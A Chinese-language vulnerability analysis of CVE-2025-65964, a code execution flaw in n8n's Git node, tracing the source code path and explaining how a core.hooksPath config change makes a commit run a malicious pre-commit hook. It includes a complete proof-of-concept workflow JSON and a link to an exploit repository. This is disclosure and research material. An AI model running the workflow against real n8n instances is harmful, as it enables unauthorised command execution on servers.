CVE-2025-65964: n8n Git 节点 RCE 漏洞分析
CVE-2025-65964: n8n Git 节点 RCE 漏洞分析
CVE-2025-65964: n8n Git 节点 RCE 漏洞分析
前言
发现 n8n 的高危漏洞,先知社区都有人分析了,但是这个却没有,看了一眼漏洞描述,也觉得很好奇,涉及到 git 的勾子,于是来分析分析
一、漏洞概述
n8n 是一个开源的工作流自动化平台。2025 年 12 月,互联网上披露 CVE-2025-65964 n8n Git Node 自定义 Hook 代码执行漏洞。攻击者在登陆后,可利用 Git 节点允许设置任意 Git 配置项的功能植入恶意 Git Hook 脚本,从而执行任意命令。官方已发布安全更新,建议升级至最新版本。

调用链子
把分析流程给 AI,然后画了一个流程图,整个漏洞过程其实非常清晰了,罪魁祸首就是 Add Config 操作节点设置问题
┌─────────────────────────────────────────────────────────────────────┐
│ 攻击者视角 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ 1. 创建恶意 Git 仓库 │
│ ├─ evil_hooks/pre-commit → 恶意脚本 │
│ └─ git init && git commit │
│ │
│ 2. 将仓库托管到可访问位置 │
│ │
│ 3. 在 n8n 中创建工作流 │
│ ├─ Git(Clone) → 克隆恶意仓库 │
│ ├─ Git(Add Config) → key="core.hooksPath", value="evil_hooks" │
│ └─ Git(Commit) → 触发钩子 │
│ │
└─────────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────────┐
│ n8n 执行引擎 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ WorkflowExecute.run() │
│ ↓ │
│ executeNode() │
│ ↓ │
│ Git.execute() → git.addConfig("core.hooksPath", "evil_hooks") │
│ ↓ │
│ .git/config 被修改: core.hooksPath = evil_hooks │
│ ↓ │
│ Git.execute() → git.commit("message") │
│ ↓ │
│ simple-git 调用系统 git 命令 │
│ ↓ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Git 原生进程 │ │
│ │ 1. 读取 .git/config │ │
│ │ 2. 发现 core.hooksPath = evil_hooks │ │
│ │ 3. 查找 evil_hooks/pre-commit │ │
│ │ 4. 执行: execve("./evil_hooks/pre-commit") │ │
│ └─────────────────────────────────────────────────────┘ │
│ ↓ │
│ 【恶意脚本以 n8n 进程权限执行】 │
│ │
└─────────────────────────────────────────────────────────────────────┘二、代码分析
工作流执行引擎
文件: packages/core/src/execution-engine/workflow-execute.ts
// 第118-176行: run() 方法 - 工作流执行入口
run(
workflow: Workflow,
startNode?: INode,
destinationNode?: string,
...
): PCancelable<IRun> {
this.status = 'running';
// 获取起始节点
startNode = startNode || workflow.getStartNode(destinationNode);
// 初始化执行栈
const nodeExecutionStack: IExecuteData[] = [
{
node: startNode,
data: { main: [[{ json: {} }]] },
source: null,
},
];
return this.processRunExecutionData(workflow);
}节点执行调度
文件: packages/core/src/execution-engine/workflow-execute.ts
// 第1054-1125行: executeNode() 方法 - 节点执行核心
private async executeNode(
workflow: Workflow,
node: INode,
nodeType: INodeType, // Git 节点类型
...
): Promise<IRunNodeResponse | EngineRequest> {
// 创建执行上下文
const context = new ExecuteContext(
workflow, node, additionalData, mode,
runExecutionData, runIndex,
connectionInputData, inputData, executionData,
closeFunctions, abortSignal
);
// 【关键调用】执行节点的 execute 方法
if (nodeType.execute) {
data = await nodeType.execute.call(context, subNodeExecutionResults);
// ^^^^^^^^^^^^^^^^^^
// 这里会调用 Git 节点的 execute() 方法
}
return { data, hints: context.hints };
}Git 节点执行
文件: packages/nodes-base/nodes/Git/Git.node.ts
// 第209-280行: execute() 方法 - Git 节点入口
async execute(this: IExecuteFunctions): Promise<INodeExecutionData[][]> {
const items = this.getInputData();
const operation = this.getNodeParameter('operation', 0);
// operation = "addConfig" 时进入漏洞代码路径
const returnItems: INodeExecutionData[] = [];
for (let itemIndex = 0; itemIndex < items.length; itemIndex++) {
const repositoryPath = this.getNodeParameter('repositoryPath', itemIndex, '');
const options = this.getNodeParameter('options', itemIndex, {});
// 初始化 simple-git 实例
const git: SimpleGit = simpleGit({
baseDir: repositoryPath,
config: gitConfig, // 在受影响版本中,这里没有强制设置 core.hooksPath
}).env('GIT_TERMINAL_PROMPT', '0');
// ... 根据 operation 调用不同方法
if (operation === 'addConfig') {
// 【漏洞代码】第333-354行
const key = this.getNodeParameter('key', itemIndex, '') as string;
const value = this.getNodeParameter('value', itemIndex, '') as string;
// ⚠️ 直接调用,没有任何验证!
await git.addConfig(key, value, append);
// ^^^^^^^^^^^^^
// simple-git 库的方法
}
}
return [returnItems];
}这里走到 addConfig,两个关键,key 和 value 我们可输入,然后 addConfig 的作用是什么
simple-git 的 addConfig 方法
simple-git 是一个 Node.js 库,用于封装 Git 命令。addConfig 方法会执行:
git config --<scope> <key> <value>当我们设置 core.hooksPath=/path/to/evil_hooks 时,实际执行的命令是:
git config core.hooksPath /home/node/test_repo/evil_hooks这会写入仓库的 .git/config 文件:
[core]
hooksPath = /home/node/test_repo/evil_hooks后面的漏洞复现过程就会很清晰了
Git 钩子触发机制
我们还要搞清楚一点为什么 core.hooksPath 会导致 RCE?
Git 钩子是 Git 在特定事件发生时自动执行的脚本。默认情况下,Git 在 .git/hooks/ 目录查找钩子。
core.hooksPath 配置允许自定义钩子目录。当设置此配置后:
- 检查
core.hooksPath配置 - 查找该目录下的
pre-commit文件 - 直接执行该文件(不需要特殊权限)
这也是我们的 sink 点
但是如何触发呢?
Git commit 触发点
文件: packages/nodes-base/nodes/Git/Git.node.ts
行号: 373-402
} else if (operation === 'commit') {
const message = this.getNodeParameter('message', itemIndex, '') as string;
const branch = options.branch;
if (branch !== undefined && branch !== '') {
await checkoutBranch(git, { branchName: branch, setUpstream: true });
}
let pathsToAdd: string[] | undefined = undefined;
if (options.files !== undefined) {
pathsToAdd = (options.pathsToAdd as string).split(',');
}
// 【触发钩子的调用】
await git.commit(message, pathsToAdd);
// 这会触发 pre-commit 钩子!
}命令执行调用链
用户设置 core.hooksPath
↓
git.addConfig("core.hooksPath", "/path/to/evil")
↓
写入 .git/config 文件
↓
后续 git.commit() 调用
↓
simple-git 执行: git commit -m "message"
↓
Git 进程检查 core.hooksPath 配置
↓
Git 进程执行: /path/to/evil/pre-commit
↓
【命令执行】三、漏洞复现
复现环境
下面是我使用的一个工作流
{
"nodes": [
{
"parameters": {
"operation": "clone",
"repositoryPath": "/home/node/test_repo",
"sourceRepository": "xxxx.git"。//仓库地址
},
"id": "3b116fe5-c7a8-40e1-be83-269e754ba8d5",
"name": "Git - Clone",
"type": "n8n-nodes-base.git",
"typeVersion": 1,
"position": [
-480,
64
],
"webhookId": "",
"operation": "clone"
},
{
"parameters": {
"jsCode": "return [{\n json:{},\n binary:{\n data:{\n data:\"Ym9vbQ==\",\n mineType:\"text/plain\",\n fileName:\"1.txt\"\n }\n }\n}];"
},
"id": "688036ee-08e9-433e-87a0-4afeba0d0cd8",
"name": "Code - Prepare Data",
"type": "n8n-nodes-base.code",
"typeVersion": 2,
"position": [
-272,
64
],
"mode": "runOnceForAllItems"
},
{
"parameters": {
"operation": "write",
"fileName": "=/tmp/1.txt",
"options": {}
},
"id": "e7b15770-579d-47c5-b1fe-844f8e7ee93d",
"name": "Write File",
"type": "n8n-nodes-base.readWriteFile",
"typeVersion": 1,
"position": [
-64,
64
]
},
{
"parameters": {
"operation": "addConfig",
"repositoryPath": "/home/node/test_repo",
"key": "user.email",
"value": "evil@attacker.com",
"options": {}
},
"id": "754b36b6-c76a-40e5-8f97-cbfe8deac697",
"name": "Git - Set Email",
"type": "n8n-nodes-base.git",
"typeVersion": 1,
"position": [
128,
-48
],
"operation": "addConfig"
},
{
"parameters": {
"operation": "addConfig",
"repositoryPath": "/home/node/test_repo",
"key": "user.name",
"value": "Attacker",
"options": {}
},
"id": "74ee2129-eed7-46b8-b578-037a2c15d5c4",
"name": "Git - Set Name",
"type": "n8n-nodes-base.git",
"typeVersion": 1,
"position": [
192,
160
],
"operation": "addConfig"
},
{
"parameters": {
"operation": "addConfig",
"repositoryPath": "/home/node/test_repo",
"key": "core.hooksPath",
"value": "/home/node/test_repo/evil_hooks",
"options": {}
},
"id": "6639cca8-7c03-4515-aabe-8d14c3b5c085",
"name": "Git - Set HooksPath (EXPLOIT)",
"type": "n8n-nodes-base.git",
"typeVersion": 1,
"position": [
352,
64
],
"operation": "addConfig"
},
{
"parameters": {
"operation": "commit",
"repositoryPath": "/home/node/test_repo",
"message": "Trigger malicious hook",
"options": {}
},
"id": "1f2d1c01-7169-4738-a236-de4360ef2341",
"name": "Git - Commit (TRIGGER)",
"type": "n8n-nodes-base.git",
"typeVersion": 1,
"position": [
528,
64
],
"operation": "commit"
},
{
"parameters": {},
"type": "n8n-nodes-base.manualTrigger",
"typeVersion": 1,
"position": [
-704,
64
],
"id": "7836247e-441c-4d25-a01d-d1486a38792a",
"name": "When clicking ‘Execute workflow’"
}
],
"connections": {
"Git - Clone": {
"main": [
[
{
"node": "Code - Prepare Data",
"type": "main",
"index": 0
}
]
]
},
"Code - Prepare Data": {
"main": [
[
{
"node": "Write File",
"type": "main",
"index": 0
}
]
]
},
"Write File": {
"main": [
[
{
"node": "Git - Set Email",
"type": "main",
"index": 0
}
]
]
},
"Git - Set Email": {
"main": [
[
{
"node": "Git - Set Name",
"type": "main",
"index": 0
}
]
]
},
"Git - Set Name": {
"main": [
[
{
"node": "Git - Set HooksPath (EXPLOIT)",
"type": "main",
"index": 0
}
]
]
},
"Git - Set HooksPath (EXPLOIT)": {
"main": [
[
{
"node": "Git - Commit (TRIGGER)",
"type": "main",
"index": 0
}
]
]
},
"When clicking ‘Execute workflow’": {
"main": [
[
{
"node": "Git - Clone",
"type": "main",
"index": 0
}
]
]
}
},
"pinData": {},
"meta": {
"instanceId": "eb83f337129d342b75dbc6152fb8e57028a5ed4d8b792d49ff04c189d41c83d3"
}
}我自己创建了一个仓库,当然网上我也找了一个,可以查看
https://github.com/Syzygy-K/CVE-2025-65964-Exploit

commit 必须文修改了才可以,所以我们创建一个文件
首先是去克隆恶意库

然后有两个重要的设置,就是邮箱和名称,这个随便设置,不然后会报错
Author identity unknown *** Please tell me who you are. Run git config --global user.email "you@example.com" git config --global user.name "Your Name" to set your account's default identity. Omit --global to set
the identity only in this repository. fatal: empty ident name (for ) not allowed 

最后设置我们的目录为恶意文件

然后执行流程后查看配置

设置成功
然后查看恶意文件的生成

四、漏洞修复


变成可配置了,但是默认不启用
参考
https://github.com/Syzygy-K/CVE-2025-65964-Exploit
https://nvd.nist.gov/vuln/detail/CVE-2025-65964
https://github.com/n8n-io/n8n/releases/tag/n8n%401.119.2
https://n8n-docs.teamlab.info/hosting/securing/blocking-nodes/#exclude-nodes
免责声明
本漏洞分析报告仅用于安全研究和防御目的。请勿将此信息用于任何非法活动。未授权测试他人系统属于违法行为,后果由使用者承担。
攻击者可通过Git节点设置core.hooksPath指向恶意钩子目录,提交时触发pre-commit脚本造成远程代码执行
由 AI 根据全文自动生成,仅供参考,以原文为准